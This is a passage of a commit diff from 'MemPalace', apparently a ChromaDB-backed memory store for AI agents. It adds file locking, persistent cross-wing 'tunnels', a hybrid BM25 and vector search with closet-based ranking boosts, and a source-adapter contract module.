"""Write topic lines to closets, packed greedily without splitting a line.
Closets are deterministically numbered (``..._01``, ``..._02``, …) and
each ``upsert`` fully overwrites the prior content at that ID. Callers
are expected to ``purge_file_closets`` first when re-mining a source
file so stale-numbered closets from larger prior runs don't leak.
Returns the number of closets written.
"""
closet_num = 1
current_lines: list = []
current_chars = 0
closets_written = 0
def _flush():
nonlocal closets_written
if not current_lines:
return
closet_id = f"{closet_id_base}_{closet_num:02d}"
text = "\n".join(current_lines)
closets_col.upsert(documents=[text], ids=[closet_id], metadatas=[metadata])
closets_written += 1
for line in lines:
line_len = len(line)
# Would this line fit whole in the current closet?
if current_chars > 0 and current_chars + line_len + 1 > CLOSET_CHAR_LIMIT:
_flush()
closet_num += 1
current_lines = []
current_chars = 0
current_lines.append(line)
current_chars += line_len + 1 # +1 for newline
_flush()
return closets_written
@contextlib.contextmanager
def mine_lock(source_file: str):
"""Cross-platform file lock for mine operations.
Prevents multiple agents from mining the same file simultaneously,
which causes duplicate drawers when the delete+insert cycle interleaves.
"""
lock_dir = os.path.join(os.path.expanduser("~"), ".mempalace", "locks")
os.makedirs(lock_dir, exist_ok=True)
lock_path = os.path.join(
lock_dir, hashlib.sha256(source_file.encode()).hexdigest()[:16] + ".lock"
)
lf = open(lock_path, "w")
try:
if os.name == "nt":
import msvcrt
msvcrt.locking(lf.fileno(), msvcrt.LK_LOCK, 1)
else:
import fcntl
fcntl.flock(lf, fcntl.LOCK_EX)
yield
finally:
try:
if os.name == "nt":
import msvcrt
msvcrt.locking(lf.fileno(), msvcrt.LK_UNLCK, 1)
else:
import fcntl
fcntl.flock(lf, fcntl.LOCK_UN)
except Exception:
pass
lf.close()
def file_already_mined(collection, source_file: str, check_mtime: bool = False) -> bool:
"""Check if a file has already been filed in the palace.
When check_mtime=True (used by project miner), returns False if the file
has been modified since it was last mined, so it gets re-mined.
When check_mtime=False (used by convo miner), just checks existence.
Returns False (so the file gets re-mined) when:
- no drawers exist for this source_file
- the stored `normalize_version` is missing or older than the current
schema (triggers silent rebuild after a normalization upgrade)
- `check_mtime=True` and the file's mtime differs from the stored one
When check_mtime=True (used by project miner), also re-mines on content
change. When check_mtime=False (used by convo miner), transcripts are
assumed immutable, so only the version gate triggers a rebuild.
"""
try:
results = collection.get(where={"source_file": source_file}, limit=1)
if not results.get("ids"):
return False
stored_meta = results.get("metadatas", [{}])[0] or {}
# Pre-v2 drawers have no version field — treat them as stale.
stored_version = stored_meta.get("normalize_version", 1)
if stored_version < NORMALIZE_VERSION:
return False
if check_mtime:
stored_meta = results.get("metadatas", [{}])[0]
stored_mtime = stored_meta.get("source_mtime")
if stored_mtime is None:
return False
+230 -1
View File
@@ -15,10 +15,15 @@ Enables queries like:
No external graph DB needed — built from ChromaDB metadata.
"""
from collections import defaultdict, Counter
import hashlib
import json
import os
from collections import Counter, defaultdict
from datetime import datetime, timezone
from .config import MempalaceConfig
from .palace import get_collection as _get_palace_collection
from .palace import mine_lock
def _get_collection(config=None):
@@ -228,3 +233,227 @@ def _fuzzy_match(query: str, nodes: dict, n: int = 5):
scored.append((room, 0.5))
scored.sort(key=lambda x: -x[1])
return [r for r, _ in scored[:n]]
# =============================================================================
# EXPLICIT TUNNELS — agent-created cross-wing links
# =============================================================================
# Passive tunnels are discovered from shared room names across wings.
# Explicit tunnels are created by agents when they notice a connection
# between two specific drawers or rooms in different wings/projects.
#
# Stored as a JSON file at ~/.mempalace/tunnels.json so they persist
# across palace rebuilds (not in ChromaDB which can be recreated).
_TUNNEL_FILE = os.path.join(os.path.expanduser("~"), ".mempalace", "tunnels.json")
def _load_tunnels():
"""Load explicit tunnels from disk.
Returns an empty list if the file is missing or corrupt (e.g. truncated
by a crash mid-write on a system that lacks atomic-rename semantics).
"""
if not os.path.exists(_TUNNEL_FILE):
return []
try:
with open(_TUNNEL_FILE, "r", encoding="utf-8") as f:
data = json.load(f)
except Exception:
return []
return data if isinstance(data, list) else []
def _save_tunnels(tunnels):
"""Persist explicit tunnels atomically.
Writes to ``tunnels.json.tmp`` then ``os.replace``s it into place, so
a crash mid-write can never leave a partial/empty tunnels.json that
silently wipes every tunnel on next read.
"""
os.makedirs(os.path.dirname(_TUNNEL_FILE), exist_ok=True)
tmp_path = _TUNNEL_FILE + ".tmp"
with open(tmp_path, "w", encoding="utf-8") as f:
json.dump(tunnels, f, indent=2)
f.flush()
try:
os.fsync(f.fileno())
except OSError:
# Not all filesystems (or Windows file handles) support fsync — tolerate.
pass
os.replace(tmp_path, _TUNNEL_FILE)
def _endpoint_key(wing: str, room: str) -> str:
return f"{wing}/{room}"
def _canonical_tunnel_id(
source_wing: str, source_room: str, target_wing: str, target_room: str
) -> str:
"""Compute a symmetric tunnel ID.
Tunnels are conceptually undirected — "auth relates to users" is the
same connection as "users relates to auth". Sort the two endpoints
before hashing so ``create_tunnel(A, B)`` and ``create_tunnel(B, A)``
resolve to the same ID and dedup into one record.
"""
src = _endpoint_key(source_wing, source_room)
tgt = _endpoint_key(target_wing, target_room)
a, b = sorted((src, tgt))
return hashlib.sha256(f"{a}↔{b}".encode()).hexdigest()[:16]
def _require_name(value: str, field: str) -> str:
"""Reject empty / non-string endpoint identifiers."""
if not isinstance(value, str) or not value.strip():
raise ValueError(f"{field} must be a non-empty string")
return value.strip()
def create_tunnel(
source_wing: str,
source_room: str,
target_wing: str,
target_room: str,
label: str = "",
source_drawer_id: str = None,
target_drawer_id: str = None,
):
"""Create an explicit (symmetric) tunnel between two locations in the palace.
Tunnels are undirected: ``create_tunnel(A, B)`` and ``create_tunnel(B, A)``
resolve to the same canonical ID. A second call with the same endpoints
updates the stored label (and drawer IDs, if provided) rather than
creating a duplicate.
The ``source`` / ``target`` fields on the returned dict preserve the
argument order the caller used, so callers can display it directionally
if they like. The ID and dedup are symmetric.
Args:
source_wing: Wing of the source (e.g., "project_api").
source_room: Room in the source wing.
target_wing: Wing of the target (e.g., "project_database").
target_room: Room in the target wing.
label: Description of the connection.
source_drawer_id: Optional specific drawer ID.
target_drawer_id: Optional specific drawer ID.
Returns:
The stored tunnel dict.
Raises:
ValueError: if any wing or room is empty or non-string.
"""
source_wing = _require_name(source_wing, "source_wing")
source_room = _require_name(source_room, "source_room")
target_wing = _require_name(target_wing, "target_wing")
target_room = _require_name(target_room, "target_room")
tunnel_id = _canonical_tunnel_id(source_wing, source_room, target_wing, target_room)
tunnel = {
"id": tunnel_id,
"source": {"wing": source_wing, "room": source_room},
"target": {"wing": target_wing, "room": target_room},
"label": label,
"created_at": datetime.now(timezone.utc).isoformat(),
}
if source_drawer_id:
tunnel["source"]["drawer_id"] = source_drawer_id
if target_drawer_id:
tunnel["target"]["drawer_id"] = target_drawer_id
# Serialize the load → mutate → save cycle. Without this, two concurrent
# create_tunnel calls can both read the same snapshot and the later
# writer silently drops the earlier writer's tunnel.
with mine_lock(_TUNNEL_FILE):
tunnels = _load_tunnels()
for existing in tunnels:
if existing.get("id") == tunnel_id:
# Preserve original creation timestamp on label updates.
tunnel["created_at"] = existing.get("created_at", tunnel["created_at"])
tunnel["updated_at"] = datetime.now(timezone.utc).isoformat()
existing.clear()
existing.update(tunnel)
_save_tunnels(tunnels)
return existing
tunnels.append(tunnel)
_save_tunnels(tunnels)
return tunnel
def list_tunnels(wing: str = None):
"""List all explicit tunnels, optionally filtered by wing.
Returns tunnels where ``wing`` appears as either source or target
(tunnels are symmetric, so either endpoint is a valid filter match).
"""
tunnels = _load_tunnels()
if wing:
tunnels = [t for t in tunnels if t["source"]["wing"] == wing or t["target"]["wing"] == wing]
return tunnels
def delete_tunnel(tunnel_id: str):
"""Delete an explicit tunnel by ID. Returns ``{"deleted": <id>}``."""
with mine_lock(_TUNNEL_FILE):
tunnels = _load_tunnels()
tunnels = [t for t in tunnels if t.get("id") != tunnel_id]
_save_tunnels(tunnels)
return {"deleted": tunnel_id}
def follow_tunnels(wing: str, room: str, col=None, config=None):
"""Follow explicit tunnels from a room — returns connected drawers.
Given a location (wing/room), finds all tunnels leading from or to it,
and optionally fetches the connected drawer content.
"""
tunnels = _load_tunnels()
connections = []
for t in tunnels:
src = t["source"]
tgt = t["target"]
if src["wing"] == wing and src["room"] == room:
connections.append(
{
"direction": "outgoing",
"connected_wing": tgt["wing"],
"connected_room": tgt["room"],
"label": t.get("label", ""),
"drawer_id": tgt.get("drawer_id"),
"tunnel_id": t["id"],
}
)
elif tgt["wing"] == wing and tgt["room"] == room:
connections.append(
{
"direction": "incoming",
"connected_wing": src["wing"],
"connected_room": src["room"],
"label": t.get("label", ""),
"drawer_id": src.get("drawer_id"),
"tunnel_id": t["id"],
}
)
# If we have a collection, fetch drawer content for connected items
if col and connections:
drawer_ids = [c["drawer_id"] for c in connections if c.get("drawer_id")]
if drawer_ids:
try:
results = col.get(ids=drawer_ids, include=["documents", "metadatas"])
drawer_map = dict(zip(results["ids"], results["documents"]))
for c in connections:
did = c.get("drawer_id")
if did and did in drawer_map:
c["drawer_preview"] = drawer_map[did][:300]
except Exception:
pass
return connections
+7 -9
View File
@@ -32,7 +32,7 @@ import os
import shutil
import time
import chromadb
from .backends.chroma import ChromaBackend
COLLECTION_NAME = "mempalace_drawers"
@@ -90,8 +90,7 @@ def scan_palace(palace_path=None, only_wing=None):
print(f"\n Palace: {palace_path}")
print(" Loading...")
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection(COLLECTION_NAME)
col = ChromaBackend().get_collection(palace_path, COLLECTION_NAME)
where = {"wing": only_wing} if only_wing else None
total = col.count()
@@ -174,8 +173,7 @@ def prune_corrupt(palace_path=None, confirm=False):
print(" Re-run with --confirm to actually delete.")
return
client = chromadb.PersistentClient(path=palace_path)
col = client.get_collection(COLLECTION_NAME)
col = ChromaBackend().get_collection(palace_path, COLLECTION_NAME)
before = col.count()
print(f" Collection size before: {before:,}")
@@ -222,9 +220,9 @@ def rebuild_index(palace_path=None):
print(f"{'=' * 55}\n")
print(f" Palace: {palace_path}")
client = chromadb.PersistentClient(path=palace_path)
backend = ChromaBackend()
try:
col = client.get_collection(COLLECTION_NAME)
col = backend.get_collection(palace_path, COLLECTION_NAME)
total = col.count()
except Exception as e:
print(f" Error reading palace: {e}")
@@ -264,8 +262,8 @@ def rebuild_index(palace_path=None):
# Rebuild with correct HNSW settings
print(" Rebuilding collection with hnsw:space=cosine...")
client.delete_collection(COLLECTION_NAME)
new_col = client.create_collection(COLLECTION_NAME, metadata={"hnsw:space": "cosine"})
backend.delete_collection(palace_path, COLLECTION_NAME)
new_col = backend.create_collection(palace_path, COLLECTION_NAME)
filed = 0
for i in range(0, len(all_ids), batch_size):
+366 -29
View File
@@ -2,14 +2,23 @@
"""
searcher.py — Find anything. Exact words.
Semantic search against the palace.
Returns verbatim text — the actual words, never summaries.
Hybrid search: BM25 keyword matching + vector semantic similarity. The
drawer query is the floor — always runs — and closet hits add a rank-based
boost when they agree. Closets are a ranking *signal*, never a gate, so
weak closets (regex extraction on narrative content) can only help, never
hide drawers the direct path would have found.
"""
import logging
import math
import re
from pathlib import Path
from .palace import get_collection
from .palace import get_closets_collection, get_collection
# Closet pointer line format: "topic|entities|→drawer_id_a,drawer_id_b"
# Multiple lines may join with newlines inside one closet document.
_CLOSET_DRAWER_REF_RE = re.compile(r"→([\w,]+)")
logger = logging.getLogger("mempalace_mcp")
@@ -18,6 +27,126 @@ class SearchError(Exception):
"""Raised when search cannot proceed (e.g. no palace found)."""
_TOKEN_RE = re.compile(r"\w{2,}", re.UNICODE)
def _first_or_empty(results, key: str) -> list:
"""Return the first inner list of a query result field, or [].
Accepts both the typed :class:`QueryResult` (attribute access) and the
pre-typed chroma dict shape; this polymorphism is retained so test mocks
still work and callers mid-migration do not crash. Preserves the empty-
collection semantics from issue #195: when no queries returned hits, the
outer list may be empty and indexing ``[0]`` would raise.
"""
outer = getattr(results, key, None) if not isinstance(results, dict) else results.get(key)
if not outer:
return []
return outer[0] or []
def _tokenize(text: str) -> list:
"""Lowercase + strip to alphanumeric tokens of length ≥ 2."""
return _TOKEN_RE.findall(text.lower())
def _bm25_scores(
query: str,
documents: list,
k1: float = 1.5,
b: float = 0.75,
) -> list:
"""Compute Okapi-BM25 scores for ``query`` against each document.
IDF is computed over the *provided corpus* using the Lucene/BM25+
smoothed formula ``log((N - df + 0.5) / (df + 0.5) + 1)``, which is
always non-negative. This is well-defined for re-ranking a small
candidate set returned by vector retrieval — IDF then reflects how
discriminative each query term is *within the candidates*, exactly
what's needed to reorder them.
Parameters mirror Okapi-BM25 conventions:
k1 — term-frequency saturation (1.2-2.0 typical, 1.5 default)
b — length normalization (0.0 = none, 1.0 = full, 0.75 default)
Returns a list of scores in the same order as ``documents``.
"""
n_docs = len(documents)
query_terms = set(_tokenize(query))
if not query_terms or n_docs == 0:
return [0.0] * n_docs
tokenized = [_tokenize(d) for d in documents]
doc_lens = [len(toks) for toks in tokenized]
if not any(doc_lens):
return [0.0] * n_docs
avgdl = sum(doc_lens) / n_docs or 1.0
# Document frequency: how many docs contain each query term?
df = {term: 0 for term in query_terms}
for toks in tokenized:
seen = set(toks) & query_terms
for term in seen:
df[term] += 1
idf = {term: math.log((n_docs - df[term] + 0.5) / (df[term] + 0.5) + 1) for term in query_terms}
scores = []
for toks, dl in zip(tokenized, doc_lens):
if dl == 0:
scores.append(0.0)
continue
tf: dict = {}
for t in toks:
if t in query_terms:
tf[t] = tf.get(t, 0) + 1
score = 0.0
for term, freq in tf.items():
num = freq * (k1 + 1)
den = freq + k1 * (1 - b + b * dl / avgdl)
score += idf[term] * num / den
scores.append(score)
return scores
def _hybrid_rank(
results: list,
query: str,
vector_weight: float = 0.6,
bm25_weight: float = 0.4,
) -> list:
"""Re-rank ``results`` by a convex combination of vector similarity and BM25.
* Vector similarity uses absolute cosine sim ``max(0, 1 - distance)`` —
ChromaDB's hnsw cosine distance lives in ``[0, 2]`` (0 = identical).
Absolute (not relative-to-max) means adding/removing a candidate
can't reshuffle the others.
* BM25 is real Okapi-BM25 with corpus-relative IDF over the candidates
themselves. Since the absolute scale is unbounded, BM25 is min-max
normalized within the candidate set so weights are commensurable.
Mutates each result dict to add ``bm25_score`` and reorders the list
in place. Returns the same list for convenience.
"""
if not results:
return results
docs = [r.get("text", "") for r in results]
bm25_raw = _bm25_scores(query, docs)
max_bm25 = max(bm25_raw) if bm25_raw else 0.0
bm25_norm = [s / max_bm25 for s in bm25_raw] if max_bm25 > 0 else [0.0] * len(bm25_raw)
scored = []
for r, raw, norm in zip(results, bm25_raw, bm25_norm):
vec_sim = max(0.0, 1.0 - r.get("distance", 1.0))
r["bm25_score"] = round(raw, 3)
scored.append((vector_weight * vec_sim + bm25_weight * norm, r))
scored.sort(key=lambda pair: pair[0], reverse=True)
results[:] = [r for _, r in scored]
return results
def build_where_filter(wing: str = None, room: str = None) -> dict:
"""Build ChromaDB where filter for wing/room filtering."""
if wing and room:
@@ -29,6 +158,84 @@ def build_where_filter(wing: str = None, room: str = None) -> dict:
return {}
def _extract_drawer_ids_from_closet(closet_doc: str) -> list:
"""Parse all `→drawer_id_a,drawer_id_b` pointers out of a closet document.
Preserves order and dedupes.
"""
seen: dict = {}
for match in _CLOSET_DRAWER_REF_RE.findall(closet_doc):
for did in match.split(","):
did = did.strip()
if did and did not in seen:
seen[did] = None
return list(seen.keys())
def _expand_with_neighbors(drawers_col, matched_doc: str, matched_meta: dict, radius: int = 1):
"""Expand a matched drawer with its ±radius sibling chunks in the same source file.
Motivation — "drawer-grep context" feature: a closet hit returns one
drawer, but the chunk boundary may clip mid-thought (e.g., the matched
chunk says "here's a breakdown:" and the actual breakdown lives in the
next chunk). Fetching the small neighborhood around the match gives
callers enough context without forcing a follow-up ``get_drawer`` call.
Returns a dict with:
``text`` combined chunks in chunk_index order
``drawer_index`` the matched chunk's index in the source file
``total_drawers`` total drawer count for the source file (or None)
On any ChromaDB failure or missing metadata, falls back to returning the
matched drawer alone so search never breaks because neighbor expansion
failed.
"""
src = matched_meta.get("source_file")
chunk_idx = matched_meta.get("chunk_index")
if not src or not isinstance(chunk_idx, int):
return {"text": matched_doc, "drawer_index": chunk_idx, "total_drawers": None}
target_indexes = [chunk_idx + offset for offset in range(-radius, radius + 1)]
try:
neighbors = drawers_col.get(
where={
"$and": [
{"source_file": src},
{"chunk_index": {"$in": target_indexes}},
]
},
include=["documents", "metadatas"],
)
except Exception:
return {"text": matched_doc, "drawer_index": chunk_idx, "total_drawers": None}
indexed_docs = []
for doc, meta in zip(neighbors.documents, neighbors.metadatas):
ci = meta.get("chunk_index")
if isinstance(ci, int):
indexed_docs.append((ci, doc))
indexed_docs.sort(key=lambda pair: pair[0])
if not indexed_docs:
combined_text = matched_doc
else:
combined_text = "\n\n".join(doc for _, doc in indexed_docs)
# Cheap total_drawers lookup: metadata-only scan of the source file.
total_drawers = None
try:
all_meta = drawers_col.get(where={"source_file": src}, include=["metadatas"])
total_drawers = len(all_meta.ids) if all_meta.ids else None
except Exception:
pass
return {
"text": combined_text,
"drawer_index": chunk_idx,
"total_drawers": total_drawers,
}
def search(query: str, palace_path: str, wing: str = None, room: str = None, n_results: int = 5):
"""
Search the palace. Returns verbatim drawer content.
@@ -58,9 +265,9 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
print(f"\n Search error: {e}")
raise SearchError(f"Search error: {e}") from e
docs = results["documents"][0]
metas = results["metadatas"][0]
dists = results["distances"][0]
docs = _first_or_empty(results, "documents")
metas = _first_or_empty(results, "metadatas")
dists = _first_or_empty(results, "distances")
if not docs:
print(f'\n No results found for: "{query}"')
@@ -76,6 +283,7 @@ def search(query: str, palace_path: str, wing: str = None, room: str = None, n_r
for i, (doc, meta, dist) in enumerate(zip(docs, metas, dists), 1):
similarity = round(max(0.0, 1 - dist), 3)
meta = meta or {}
source = Path(meta.get("source_file", "?")).name
wing_name = meta.get("wing", "?")
room_name = meta.get("room", "?")
@@ -117,7 +325,7 @@ def search_memories(
0.0 disables filtering. Typical useful range: 0.3–1.0.
"""
try:
col = get_collection(palace_path, create=False)
drawers_col = get_collection(palace_path, create=False)
except Exception as e:
logger.error("No palace found at %s: %s", palace_path, e)
return {
@@ -127,42 +335,171 @@ def search_memories(
where = build_where_filter(wing, room)
# Hybrid retrieval: always query drawers directly (the floor), then use
# closet hits to boost rankings. Closets are a ranking SIGNAL, never a
# GATE — direct drawer search is always the baseline.
#
# This avoids the "weak-closets regression" where narrative content
# produces low-signal closets (regex extraction matches few topics)
# and closet-first routing hides drawers that direct search would find.
try:
kwargs = {
dkwargs = {
"query_texts": [query],
"n_results": n_results,
"n_results": n_results * 3, # over-fetch for re-ranking
"include": ["documents", "metadatas", "distances"],
}
if where:
kwargs["where"] = where
results = col.query(**kwargs)
dkwargs["where"] = where
drawer_results = drawers_col.query(**dkwargs)
except Exception as e:
return {"error": f"Search error: {e}"}
docs = results["documents"][0]
metas = results["metadatas"][0]
dists = results["distances"][0]
# Gather closet hits (best-per-source) to build a boost lookup.
closet_boost_by_source: dict = {} # source_file -> (rank, closet_dist, preview)
try:
closets_col = get_closets_collection(palace_path, create=False)
ckwargs = {
"query_texts": [query],
"n_results": n_results * 2,
"include": ["documents", "metadatas", "distances"],
}
if where:
ckwargs["where"] = where
closet_results = closets_col.query(**ckwargs)
for rank, (cdoc, cmeta, cdist) in enumerate(
zip(
_first_or_empty(closet_results, "documents"),
_first_or_empty(closet_results, "metadatas"),
_first_or_empty(closet_results, "distances"),
)
):
cmeta = cmeta or {}
source = cmeta.get("source_file", "")
if source and source not in closet_boost_by_source:
closet_boost_by_source[source] = (rank, cdist, cdoc[:200])
except Exception:
pass # no closets yet — hybrid degrades to pure drawer search
hits = []
for doc, meta, dist in zip(docs, metas, dists):
# Filter on raw distance before rounding to avoid precision loss
# Rank-based boost. The ordinal signal ("which closet matched best") is
# more reliable than absolute distance on narrative content, where
# closet distances cluster in 1.2-1.5 range regardless of match quality.
CLOSET_RANK_BOOSTS = [0.40, 0.25, 0.15, 0.08, 0.04]
CLOSET_DISTANCE_CAP = 1.5 # cosine dist > 1.5 = too weak to use as signal
scored: list = []
for doc, meta, dist in zip(
_first_or_empty(drawer_results, "documents"),
_first_or_empty(drawer_results, "metadatas"),
_first_or_empty(drawer_results, "distances"),
):
# Filter on raw distance before rounding to avoid precision loss.
if max_distance > 0.0 and dist > max_distance:
continue
hits.append(
{
"text": doc,
"wing": meta.get("wing", "unknown"),
"room": meta.get("room", "unknown"),
"source_file": Path(meta.get("source_file", "?")).name,
"similarity": round(max(0.0, 1 - dist), 3),
"distance": round(dist, 4),
}
)
meta = meta or {}
source = meta.get("source_file", "") or ""
boost = 0.0
matched_via = "drawer"
closet_preview = None
if source in closet_boost_by_source:
c_rank, c_dist, c_preview = closet_boost_by_source[source]
if c_dist <= CLOSET_DISTANCE_CAP and c_rank < len(CLOSET_RANK_BOOSTS):
boost = CLOSET_RANK_BOOSTS[c_rank]
matched_via = "drawer+closet"
closet_preview = c_preview
effective_dist = dist - boost
entry = {
"text": doc,
"wing": meta.get("wing", "unknown"),
"room": meta.get("room", "unknown"),
"source_file": Path(source).name if source else "?",
"created_at": meta.get("filed_at", "unknown"),
"similarity": round(max(0.0, 1 - effective_dist), 3),
"distance": round(dist, 4),
"effective_distance": round(effective_dist, 4),
"closet_boost": round(boost, 3),
"matched_via": matched_via,
# Internal: retain the full source_file path + chunk_index so the
# enrichment step below doesn't have to reverse-lookup via
# basename-suffix matching (which silently collides when two
# files share a basename across different directories).
"_sort_key": effective_dist,
"_source_file_full": source,
"_chunk_index": meta.get("chunk_index"),
}
if closet_preview:
entry["closet_preview"] = closet_preview
scored.append(entry)
scored.sort(key=lambda h: h["_sort_key"])
hits = scored[:n_results]
# Drawer-grep enrichment: for closet-boosted hits whose source has
# multiple drawers, return the keyword-best chunk + its immediate
# neighbors instead of just the drawer vector search landed on. The
# closet said "this source is relevant"; vector may have picked the
# wrong chunk within it; grep picks the right one.
MAX_HYDRATION_CHARS = 10000
for h in hits:
if h["matched_via"] == "drawer":
continue
full_source = h.get("_source_file_full") or ""
if not full_source:
continue
try:
source_drawers = drawers_col.get(
where={"source_file": full_source},
include=["documents", "metadatas"],
)
except Exception:
continue
docs = source_drawers.documents
metas_ = source_drawers.metadatas
if len(docs) <= 1:
continue
# Sort by chunk_index so best_idx + neighbors are positional.
indexed = []
for idx, (d, m) in enumerate(zip(docs, metas_)):
ci = m.get("chunk_index", idx) if isinstance(m, dict) else idx
if not isinstance(ci, int):
ci = idx
indexed.append((ci, d))
indexed.sort(key=lambda p: p[0])
ordered_docs = [d for _, d in indexed]
query_terms = set(_tokenize(query))
best_idx, best_score = 0, -1
for idx, d in enumerate(ordered_docs):
d_lower = d.lower()
s = sum(1 for t in query_terms if t in d_lower)
if s > best_score:
best_score, best_idx = s, idx
start = max(0, best_idx - 1)
end = min(len(ordered_docs), best_idx + 2)
expanded = "\n\n".join(ordered_docs[start:end])
if len(expanded) > MAX_HYDRATION_CHARS:
expanded = (
expanded[:MAX_HYDRATION_CHARS]
+ f"\n\n[...truncated. {len(ordered_docs)} total drawers. "
"Use mempalace_get_drawer for full content.]"
)
h["text"] = expanded
h["drawer_index"] = best_idx
h["total_drawers"] = len(ordered_docs)
# BM25 hybrid re-rank within the final candidate set.
hits = _hybrid_rank(hits, query)
for h in hits:
h.pop("_sort_key", None)
h.pop("_source_file_full", None)
h.pop("_chunk_index", None)
return {
"query": query,
"filters": {"wing": wing, "room": room},
"total_before_filter": len(docs),
"total_before_filter": len(_first_or_empty(drawer_results, "documents")),
"results": hits,
}
+74
View File
@@ -0,0 +1,74 @@
"""Source adapter subsystem (RFC 002).
Public surface:
* :class:`BaseSourceAdapter` — per-source read-side contract.
* Typed records: :class:`SourceRef`, :class:`SourceItemMetadata`,
:class:`DrawerRecord`, :class:`RouteHint`, :class:`SourceSummary`,
:class:`AdapterSchema`, :class:`FieldSpec`.
* Error classes: :class:`SourceNotFoundError`, :class:`AuthRequiredError`,
:class:`AdapterClosedError`, :class:`TransformationViolationError`,
:class:`SchemaConformanceError`.
* Registry: :func:`register`, :func:`get_adapter`, :func:`available_adapters`,
:func:`resolve_adapter_for_source`.
* :class:`PalaceContext` — facade core passes to adapters during ``ingest``.
* :mod:`transforms` — reference implementations of the reserved §1.4
transformations + :func:`get_transformation` resolver.
"""
from .base import (
AdapterClosedError,
AdapterSchema,
AuthRequiredError,
BaseSourceAdapter,
DrawerRecord,
FieldSpec,
IngestMode,
IngestResult,
RouteHint,
SchemaConformanceError,
SourceAdapterError,
SourceItemMetadata,
SourceNotFoundError,
SourceRef,
SourceSummary,
TransformationViolationError,
)
from .context import PalaceContext, ProgressHook
from .registry import (
available_adapters,
get_adapter,
get_adapter_class,
register,
reset_adapters,
resolve_adapter_for_source,
unregister,
)
__all__ = [
"AdapterClosedError",
"AdapterSchema",
"AuthRequiredError",
"BaseSourceAdapter",
"DrawerRecord",
"FieldSpec",
"IngestMode",
"IngestResult",
"PalaceContext",
"ProgressHook",
"RouteHint",
"SchemaConformanceError",
"SourceAdapterError",
"SourceItemMetadata",
"SourceNotFoundError",
"SourceRef",
"SourceSummary",
"TransformationViolationError",
"available_adapters",
"get_adapter",
"get_adapter_class",
"register",
"reset_adapters",
"resolve_adapter_for_source",
"unregister",
]
+245
View File
@@ -0,0 +1,245 @@
"""Source adapter contract for MemPalace (RFC 002).
Mirrors what ``mempalace/backends/base.py`` does for the write side: it defines
the read-side surface every source adapter must implement. A source adapter
extracts content from a specific origin (filesystem, git, Slack, Cursor …) and
yields typed records (``SourceItemMetadata`` / ``DrawerRecord``) that core
routes into the palace.
This module is spec scaffolding. The first-party miners (``mempalace/miner.py``
and ``mempalace/convo_miner.py``) are migrated onto it in a follow-up PR;
in this PR we publish the contract so third-party adapters can begin building
against a stable surface.
See ``docs/rfcs/002-source-adapter-plugin-spec.md`` for the authoritative
spec text.
"""
from __future__ import annotations
from abc import ABC, abstractmethod
from dataclasses import dataclass, field
from typing import TYPE_CHECKING, ClassVar, Iterator, Literal, Optional
if TYPE_CHECKING:
from .context import PalaceContext # noqa: F401 (used in string annotation)
# ---------------------------------------------------------------------------
# Errors
# ---------------------------------------------------------------------------
class SourceAdapterError(Exception):
"""Base class for every source-adapter error raised by core."""
class SourceNotFoundError(SourceAdapterError):
"""Raised when a ``SourceRef`` does not resolve to a readable source."""
class AuthRequiredError(SourceAdapterError):
"""Raised when an adapter needs credentials that were not provided.
The message MUST name the env vars (or other supported mechanism) the
operator needs to set.
"""
class AdapterClosedError(SourceAdapterError):
"""Raised when an adapter method is called after ``close()``."""
class TransformationViolationError(SourceAdapterError):
"""Raised by the conformance suite when round-tripping a drawer requires
an undeclared transformation (RFC 002 §7.2–7.3)."""
class SchemaConformanceError(SourceAdapterError):
"""Raised when a ``DrawerRecord.metadata`` violates the adapter schema
returned by :meth:`BaseSourceAdapter.describe_schema`."""
# ---------------------------------------------------------------------------
# Value objects
# ---------------------------------------------------------------------------
@dataclass(frozen=True)
class SourceRef:
"""A handle to the source a user wants to ingest.
``local_path`` is for filesystem-rooted sources (project dir, mbox file).
``uri`` is for URL-like references (``github.com/org/repo``,
``slack://workspace/channel``).
``options`` carries adapter-specific non-secret config. Secrets MUST NOT
be placed here; see §4.2.
"""
local_path: Optional[str] = None
uri: Optional[str] = None
options: dict = field(default_factory=dict)
@dataclass(frozen=True)
class RouteHint:
"""Adapter-supplied routing hint (RFC 002 §2.5)."""
wing: Optional[str] = None
room: Optional[str] = None
hall: Optional[str] = None
@dataclass(frozen=True)
class SourceItemMetadata:
"""Lightweight pointer yielded before drawers for lazy-fetch adapters.
Core inspects ``version`` via :meth:`BaseSourceAdapter.is_current` to
decide whether to skip extraction; an adapter that responds positively
stops yielding drawers for this item and moves to the next.
"""
source_file: str
version: str
size_hint: Optional[int] = None
route_hint: Optional[RouteHint] = None
@dataclass(frozen=True)
class DrawerRecord:
"""One drawer's worth of extracted content plus flat metadata.
``metadata`` values MUST be flat scalars (``str``/``int``/``float``/``bool``)
per RFC 001 §1.4 — the chroma constraint. Nested data belongs on the
knowledge graph (§5.5) or in a declared ``json_string`` field (§5.4).
"""
content: str
source_file: str
chunk_index: int = 0
metadata: dict = field(default_factory=dict)
route_hint: Optional[RouteHint] = None
@dataclass(frozen=True)
class SourceSummary:
"""High-level description of a source returned by :meth:`source_summary`."""
description: str
item_count: Optional[int] = None
IngestMode = Literal["chunked_content", "whole_record", "metadata_only"]
@dataclass(frozen=True)
class FieldSpec:
"""Declared shape of a single per-adapter metadata field (§5.2)."""
type: Literal["string", "int", "float", "bool", "delimiter_joined_string", "json_string"]
required: bool
description: str
indexed: bool = False
delimiter: str = ";"
json_schema: Optional[dict] = None
@dataclass(frozen=True)
class AdapterSchema:
"""The per-adapter metadata schema returned by :meth:`describe_schema`."""
fields: dict[str, FieldSpec]
version: str
# The union type adapters yield from ``ingest``.
IngestResult = object # intentionally broad; runtime checks in core
# ---------------------------------------------------------------------------
# Adapter contract
# ---------------------------------------------------------------------------
class BaseSourceAdapter(ABC):
"""Long-lived adapter serving many ``SourceRef`` invocations (RFC 002 §2).
Instances are lightweight on construction — no I/O, no network, no
credential fetch. All work is deferred to :meth:`ingest`. Instances are
thread-safe for concurrent ``ingest`` calls across different ``SourceRef``
values (v1 serializes within a single ``SourceRef``).
Class attributes form the adapter's identity contract:
* ``name`` — stable adapter name used for registration and drawer metadata.
* ``adapter_version`` — adapter's own version, independent of
``spec_version``. Recorded on every drawer so re-extract workflows can
target drawers from a known-buggy adapter version.
* ``capabilities`` — free-form tokens; core inspects a documented subset.
* ``supported_modes`` — subset of ``chunked_content``, ``whole_record``,
``metadata_only``.
* ``declared_transformations`` — set of transformation names the adapter
